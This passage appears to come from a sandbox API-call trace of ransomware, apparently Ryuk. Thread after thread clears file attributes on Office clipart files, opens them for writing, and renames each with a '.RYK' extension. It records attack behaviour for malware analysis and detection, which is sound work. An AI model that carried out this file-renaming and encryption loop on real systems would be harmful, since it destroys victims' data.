	[0198.971] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1584
	os_tid = 0x1eac

	[0198.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF", dwFileAttributes=0x80) returned 0
	[0198.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.973] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.973] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1585
	os_tid = 0x1eb0

	[0198.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF", dwFileAttributes=0x80) returned 0
	[0198.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.975] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1586
	os_tid = 0x1eb4

	[0199.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF", dwFileAttributes=0x80) returned 0
	[0199.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.286] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1587
	os_tid = 0x1eb8

	[0199.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF", dwFileAttributes=0x80) returned 0
	[0199.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.287] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1588
	os_tid = 0x1ebc

	[0199.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF", dwFileAttributes=0x80) returned 0
	[0199.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.299] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1589
	os_tid = 0x1ec0

	[0199.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF", dwFileAttributes=0x80) returned 0
	[0199.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.303] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1590
	os_tid = 0x1ec4

	[0199.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF", dwFileAttributes=0x80) returned 0
	[0199.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.293] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1591
	os_tid = 0x1ec8

	[0199.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF", dwFileAttributes=0x80) returned 0
	[0199.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.295] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1592
	os_tid = 0x1ecc

	[0199.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF", dwFileAttributes=0x80) returned 0
	[0199.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.297] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.297] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1593
	os_tid = 0x1ed0

	[0199.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF", dwFileAttributes=0x80) returned 0
	[0199.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.300] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1594
	os_tid = 0x1ed4

	[0199.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF", dwFileAttributes=0x80) returned 0
	[0199.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.302] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1595
	os_tid = 0x1ed8

	[0199.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF", dwFileAttributes=0x80) returned 0
	[0199.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.306] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1596
	os_tid = 0x1edc

	[0199.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID", dwFileAttributes=0x80) returned 0
	[0199.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.308] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.308] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1597
	os_tid = 0x1ee0

	[0199.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID", dwFileAttributes=0x80) returned 0
	[0199.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.696] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1603
	os_tid = 0x1ef8

	[0199.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF", dwFileAttributes=0x80) returned 0
	[0199.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.673] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1604
	os_tid = 0x1efc

	[0199.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF", dwFileAttributes=0x80) returned 0
	[0199.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.676] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.676] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1605
	os_tid = 0x1f00

	[0199.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF", dwFileAttributes=0x80) returned 0
	[0199.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.698] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.698] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1606
	os_tid = 0x1f04

	[0199.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF", dwFileAttributes=0x80) returned 0
	[0199.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.679] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.679] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1607
	os_tid = 0x1f08

	[0199.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF", dwFileAttributes=0x80) returned 0
	[0199.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.700] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1608
	os_tid = 0x1f0c

	[0199.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF", dwFileAttributes=0x80) returned 0
	[0199.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.683] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1609
	os_tid = 0x1f10

	[0199.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF", dwFileAttributes=0x80) returned 0
	[0199.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.703] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1610
	os_tid = 0x1f14

	[0199.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF", dwFileAttributes=0x80) returned 0
	[0199.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.705] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1611
	os_tid = 0x1f18

	[0199.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF", dwFileAttributes=0x80) returned 0
	[0199.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.707] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.707] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1612
	os_tid = 0x1f1c

	[0199.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF", dwFileAttributes=0x80) returned 0
	[0199.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.709] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1613
	os_tid = 0x1f20

	[0199.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF", dwFileAttributes=0x80) returned 0
	[0199.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0199.693] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0199.693] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1616
	os_tid = 0x1f24

	[0200.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF", dwFileAttributes=0x80) returned 0
